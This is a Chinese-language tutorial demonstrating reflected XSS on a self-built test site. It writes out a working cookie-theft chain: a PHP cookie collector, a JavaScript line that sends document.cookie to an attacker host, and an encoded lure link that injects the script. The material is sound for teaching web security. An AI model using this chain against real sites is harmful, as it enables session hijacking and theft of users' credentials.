反射型xss實(shí)戰(zhàn)演示
我們知道,XSS攻擊大致分為三種類型 :Persistent型(持久型),Non-persistent(反射型)及Dom-based型。而反射型是最常用,也是使用得最廣的一種攻擊方式。它通過給別人發(fā)送帶有惡意腳本代碼參數(shù)的URL,當(dāng)URL地址被打開時(shí),特有的惡意代碼參數(shù)被HTML解析、執(zhí)行。它的特點(diǎn)是非持久化,必須用戶點(diǎn)擊帶有特定參數(shù)的鏈接才能引起。
今天,通過一個(gè)反射型xss的實(shí)戰(zhàn)演示,讓大家詳細(xì)了解這種攻擊方式。
準(zhǔn)備工作:
(1) 一個(gè)有反射型xss漏洞的網(wǎng)站(自己搭的虛擬站點(diǎn),域名為xsstest.qq.com),該域名下有一個(gè)首頁(index.html),一個(gè)登陸頁面(login.html),一個(gè)登陸的cgi(login.php),一個(gè)用于搜索的cgi(search.php)。界面如下:

由于xss漏洞一般發(fā)生于與用戶交互的地方,因此搜索框是我們關(guān)注的重點(diǎn)。
(2)我們自己的黑客網(wǎng)站(另一個(gè)虛擬站點(diǎn) hacker.qq.com)。該域名下有一個(gè)hack.php,用以收集用戶的cookie,一個(gè)hacker.js用以向hack.php發(fā)請(qǐng)求。
發(fā)現(xiàn)漏洞
我們首先需要找出站點(diǎn)的xss漏洞發(fā)生在什么地方,上面提到,與用戶交互的地方是我們的主要關(guān)注點(diǎn)。。好,現(xiàn)在我們隨意輸入幾個(gè)字符“計(jì)算機(jī)”,點(diǎn)擊搜索:
搜索界面如下(這是自己寫的一個(gè)簡(jiǎn)陋的搜索界面):

這里發(fā)現(xiàn)了我們輸入的字符出現(xiàn)在了搜索界面上(很多電商網(wǎng)站應(yīng)該都是這種界面頁面形式吧)。。好,這次我們輸入一些特殊字符來試試“”,點(diǎn)擊搜索:

出現(xiàn)了我們心儀的小彈窗,看來search.php未對(duì)用戶輸入的關(guān)鍵詞作任何處理,便直接輸出到界面上,既然xss漏洞出現(xiàn),那么便可以開始實(shí)施攻擊了,這次攻擊的目的是盜取用戶的cookie。
實(shí)施攻擊
首先我們來寫我們自己的手機(jī)cookie CGI(hack.php),代碼如下:
- <?php
- $cookie = $_GET['q'];
- var_dump($cookie);
- $myFile = "cookie.txt";
- file_put_contents($myFile, $cookie);
- ?>
接著寫發(fā)送請(qǐng)求的hacker.js,代碼如下:
var img = new Image(); img.src = "http://hacker.qq.com/hack.php?q="+document.cookie; document.body.append(img);
好的,現(xiàn)在可以構(gòu)造一個(gè)連接來欺騙用戶了:
<a href="http://xsstest.qq.com/search.php?q=%3Cscript+
src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=
all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=
1&pcat=food2011&style=grid&cat=">點(diǎn)擊就送998</a>
看search.php 后的q參數(shù) ,解碼后為
<script src="http://hacker.qq.com/hacker.js"></script>
實(shí)際的作用是模擬用戶在搜索框中輸入
<script src="http://hacker.qq.com/hacker.js"></script>
后點(diǎn)擊搜索。search.php未經(jīng)處理的將其直接輸入到頁面,使其在html文檔中有了新的語義。它會(huì)加載hacker.qq.com域下的haker.js。
好,當(dāng)用戶登陸了網(wǎng)站后,再欺騙用戶點(diǎn)擊這個(gè)鏈接,這時(shí)候,看hacker.qq.com域下,發(fā)現(xiàn)多了一個(gè)cookie.txt文件,打開來:

發(fā)現(xiàn)用戶用于登陸的賬號(hào),密碼都在內(nèi),密碼是經(jīng)過加密的。。OK,現(xiàn)在我們便可以拿著這個(gè)cookie來獲取用戶的登陸態(tài)了。
整個(gè)攻擊過程結(jié)束。
當(dāng)然,現(xiàn)實(shí)過程中,很少有網(wǎng)站有如此明顯的xss漏洞。。這里只是給大家示范了一下反射型xss的原理,現(xiàn)實(shí)中的漏洞雖然五花八門,但是本質(zhì)是不變的。。大家可以進(jìn)一步研究。